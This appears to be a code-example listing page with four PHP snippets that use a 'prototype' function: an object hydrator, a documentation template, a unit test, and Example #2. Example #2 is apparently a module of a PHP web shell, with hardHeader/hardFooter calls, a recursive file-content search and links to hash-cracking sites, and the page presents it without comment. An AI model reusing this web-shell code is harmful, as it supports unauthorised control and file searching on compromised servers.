Exemple #1
0
function hydrate($class, array $attributes)
{
    $object = prototype($class);
    $reflection = new \ReflectionClass($object);
    foreach ($attributes as $name => $value) {
        if ($reflection->hasProperty($name)) {
            $property = $reflection->getProperty($name);
            $property->setAccessible(true);
            $property->setValue($object, $value);
        }
    }
    return $object;
}
Exemple #2
0
function actionStringTools()
{
    if (!function_exists('hex2bin')) {
        function hex2bin($p)
        {
            return decbin(hexdec($p));
        }
    }
    if (!function_exists('binhex')) {
        function binhex($p)
        {
            return dechex(bindec($p));
        }
    }
    if (!function_exists('hex2ascii')) {
        function hex2ascii($p)
        {
            $r = '';
            for ($i = 0; $i < strLen($p); $i += 2) {
                $r .= chr(hexdec($p[$i] . $p[$i + 1]));
            }
            return $r;
        }
    }
    if (!function_exists('ascii2hex')) {
        function ascii2hex($p)
        {
            $r = '';
            for ($i = 0; $i < strlen($p); ++$i) {
                $r .= sprintf('%02X', ord($p[$i]));
            }
            return strtoupper($r);
        }
    }
    if (!function_exists('full_urlencode')) {
        function full_urlencode($p)
        {
            $r = '';
            for ($i = 0; $i < strlen($p); ++$i) {
                $r .= '%' . dechex(ord($p[$i]));
            }
            return strtoupper($r);
        }
    }
    $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
    if (isset($_POST['ajax'])) {
        prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
        ob_start();
        if (in_array($_POST['p1'], $stringTools)) {
            echo $_POST['p1']($_POST['p2']);
        }
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'") . "';\n";
        echo strlen($temp), "\n", $temp;
        exit;
    }
    if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
        prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
    }
    hardHeader();
    echo '<h1>String conversions</h1><div class=content>';
    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
    foreach ($stringTools as $k => $v) {
        echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
    }
    echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
    if (!empty($_POST['p1'])) {
        if (in_array($_POST['p1'], $stringTools)) {
            echo htmlspecialchars($_POST['p1']($_POST['p2']));
        }
    }
    echo "</pre></div><br><h1>Search files:</h1><div class=content>\n\t\t<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>\n\t\t\t<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\n\t\t\t<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>\n\t\t\t<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\n\t\t\t<tr><td></td><td><input type='submit' value='submit'></td></tr>\n\t\t\t</table></form>";
    function hardRecursiveGlob($path)
    {
        if (substr($path, -1) != '/') {
            $path .= '/';
        }
        $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
        if (is_array($paths) && @count($paths)) {
            foreach ($paths as $▟) {
                if (@is_dir($▟)) {
                    if ($path != $▟) {
                        hardRecursiveGlob($▟);
                    }
                } else {
                    if (empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2']) !== false) {
                        echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($▟) . "\", \"view\",\"\")'>" . htmlspecialchars($▟) . "</a><br>";
                    }
                }
            }
        }
    }
    if (@$_POST['p3']) {
        hardRecursiveGlob($_POST['c']);
    }
    echo "</div><br><h1>Search for hash:</h1><div class=content>\n\t\t<form method='post' target='_blank' name='hf'>\n\t\t\t<input type='text' name='hash' style='width:200px;'><br>\n            <input type='hidden' name='act' value='find'/>\n\t\t\t<input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>\n            <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>\n\t\t\t<input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>\n\t\t</form></div>";
    hardFooter();
}
Exemple #3
0
						<th>Field</th>
						<th>Description</th>
					</tr>
				</thead>
				<tbody>
					<?php 
foreach ($reflection_form->getMethods(ReflectionMethod::IS_PUBLIC) as $method) {
    ?>
						<?php 
    if (methodIgnored($method)) {
        continue;
    }
    ?>
						<tr>
							<td><?php 
    echo code(prototype($method), 'php');
    ?>
</td>
<td>
<?php 
    echo phpdoc($method);
    ?>
</td>
						</tr>
					<?php 
}
?>
				</tbody>
			</table>

			<h2>Extending fields</h2>
Exemple #4
0
 /**
  * @test
  */
 public function shouldNotCallConstructor()
 {
     $object = prototype('mimic\\ExceptionObject');
     $this->assertNotNull($object);
     $this->assertInstanceOf('mimic\\ExceptionObject', $object);
 }